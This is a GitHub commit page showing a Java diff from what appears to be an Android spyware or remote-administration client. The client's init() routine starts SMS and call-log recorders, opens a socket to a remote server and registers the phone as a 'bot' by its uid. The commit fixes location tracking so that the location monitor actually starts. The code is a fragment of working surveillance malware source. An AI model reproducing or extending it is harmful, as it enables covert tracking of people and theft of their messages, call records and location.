Skip to content

Commit

Permalink
Merge pull request #30 from nithinmurali/master
Browse files Browse the repository at this point in the history
fixed location issue. #25
  • Loading branch information
adonespitogo authored Apr 8, 2019
2 parents 5ea57a1 + 7fbef2a commit 2181858
Showing 1 changed file with 7 additions and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -179,16 +179,21 @@ public void disconnect() {

private void init() {


if (smsRecorderTask == null) smsRecorderTask = new SmsRecorderTask(this);
if (callLogRecorderTask == null) callLogRecorderTask = new CallLogRecorderTask(this);
if (commonParams == null) commonParams = new CommonParams(this);
if (client == null) client = this;
if (locationTask == null) locationTask = new LocationMonitor(this);
if (locationTask == null){
locationTask = new LocationMonitor(this);
locationTask.start();
}
if (socket == null) createSocket(commonParams.getServer());
if (networkCallback == null) createChangeConnectivityMonitor();

Log.i(TAG, "\n\n\nSocket is " + (connected ? "connected" : "not connected\n\n\n"));


connect();
cleanUp();

Expand All @@ -207,6 +212,7 @@ public void call(Object... args) {
connected = true;
reconnects = 0;


HashMap bot = new HashMap();
bot.put("uid", commonParams.getUid());
bot.put("provider", commonParams.getProvider());
Expand Down

0 comments on commit 2181858

Please sign in to comment.